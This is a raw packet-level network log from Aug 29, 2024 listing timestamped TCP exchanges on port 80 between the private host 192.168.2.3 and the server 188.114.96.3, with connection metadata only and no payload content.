Aug 29, 2024 12:14:39.251283884 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.251291990 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.251302958 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.251312971 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.251332998 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.251346111 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.251358032 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.251368999 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.251379967 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.251390934 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.251396894 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.251404047 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.251425028 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.251442909 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.268270969 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.268317938 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.268490076 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.268501997 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.268513918 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.268524885 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.268532991 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.268536091 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.268548965 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.268553972 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.268564939 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.268584967 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.268625021 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.268635988 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.268649101 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.268661022 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.268665075 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.268690109 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.268702030 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.268757105 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.268769026 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.268779993 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.268793106 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.268800974 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.268809080 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.268820047 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.268824100 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.268838882 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.268845081 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.268850088 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.268863916 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.268874884 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.268876076 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.268887997 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.268888950 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.268923044 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.268923044 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.268934965 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.268946886 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.268956900 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.268959999 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.268974066 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.268974066 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.268995047 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.269016981 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.269094944 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.269107103 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.269119978 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.269130945 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.269134045 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.269143105 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.269146919 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.269200087 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.269228935 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.269239902 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.269262075 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.269268036 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.269273996 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.269289970 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.269316912 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.269346952 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.269356966 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.269367933 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.269378901 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.269387960 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.269413948 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.269561052 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.269572973 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.269584894 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.269597054 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.269599915 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.269608021 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.269623041 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.269649029 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.269659996 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.269670963 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.269682884 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.269692898 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.269697905 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.269705057 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.269717932 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.269742012 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.340456009 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.340476036 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.340502024 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.340512991 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.340524912 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.340531111 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.340552092 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.340560913 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.340569019 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.340581894 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.340615034 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.340630054 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.340641975 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.340656042 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.340665102 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.340688944 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.340720892 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.340734005 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.340755939 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.340780973 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.340826988 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.340838909 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.340848923 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.340862036 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.340867043 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.340873957 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.340886116 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.340892076 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.340909004 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.340933084 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.340960979 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.340971947 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.340984106 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.340995073 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.341000080 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.341031075 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.341094017 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.341133118 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.341139078 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.341156006 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.341167927 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.341176987 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.341181040 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.341192007 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.341209888 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.341840029 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.341883898 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.341931105 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.341943026 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.341967106 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.342031002 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.342041969 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.342058897 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.342068911 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.342070103 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.342082024 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.342097044 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.342113018 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.342206955 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.342219114 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.342235088 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.342247009 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.342247009 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.342259884 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.342267036 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.342278004 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.342289925 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.342299938 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.342303991 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.342313051 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.342320919 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.342335939 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.342359066 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.342521906 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.342534065 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.342545033 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.342555046 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.342560053 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.342569113 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.342580080 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.342590094 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.342591047 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.342602015 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.342614889 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.342616081 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.342626095 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.342629910 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.342638969 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.342645884 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.342653990 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.342667103 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.342673063 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.342677116 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.342689037 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.342700005 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.342703104 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.342710972 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.342715979 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.342732906 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.342756987 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.359241009 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.359287024 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.359323978 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.359333992 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.359344006 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.359355927 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.359360933 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.359375000 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.359380960 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.359388113 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.359395981 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.359405994 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.359411955 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.359421015 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.359427929 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.359445095 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.359462976 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.359471083 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.359482050 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.359498024 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.359508038 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.359529018 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.359548092 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.359563112 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.359564066 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.359575987 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.359586954 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.359596014 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.359610081 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.359630108 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.359646082 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.359657049 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.359672070 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.359678030 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.359689951 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.359707117 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.359719038 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.359746933 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.359839916 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.359873056 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.359899998 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.359910965 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.359930992 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.359947920 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.359997034 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.360008001 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.360023022 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.360029936 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.360038042 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.360054970 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.360083103 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.360189915 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.360205889 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.360217094 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.360228062 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.360239983 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.360238075 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.360251904 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.360266924 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.360280991 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.360320091 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.360330105 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.360342026 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.360353947 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.360361099 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.360372066 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.360374928 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.360383987 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.360395908 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.360399961 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.360408068 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.360423088 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.360425949 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.360434055 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.360449076 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.360471010 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.360662937 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.360673904 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.360685110 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.360696077 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.360702991 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.360707998 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.360716105 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.360719919 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.360732079 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.360743046 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.360742092 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.360764980 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.360780954 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.431901932 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.431919098 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.431930065 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.431935072 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.431941032 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.431951046 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.431968927 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.431979895 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.431989908 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.432001114 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.432013035 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.432024002 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.432034969 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.432046890 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.432053089 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.432060957 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.432106972 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.432282925 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.432293892 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.432308912 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.432320118 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.432332039 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.432332039 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.432352066 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.432370901 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.432384968 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.432426929 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.433129072 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.433140993 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.433152914 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.433170080 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.433192968 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.433250904 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.433262110 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.433273077 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.433284044 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.433295012 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.433320045 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.433562040 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.433573008 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.433593988 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.433612108 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.433623075 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.433623075 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.433634996 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.433640957 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.433646917 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.433660030 CEST	80	62660	188.114.96.3	192.168.2.3
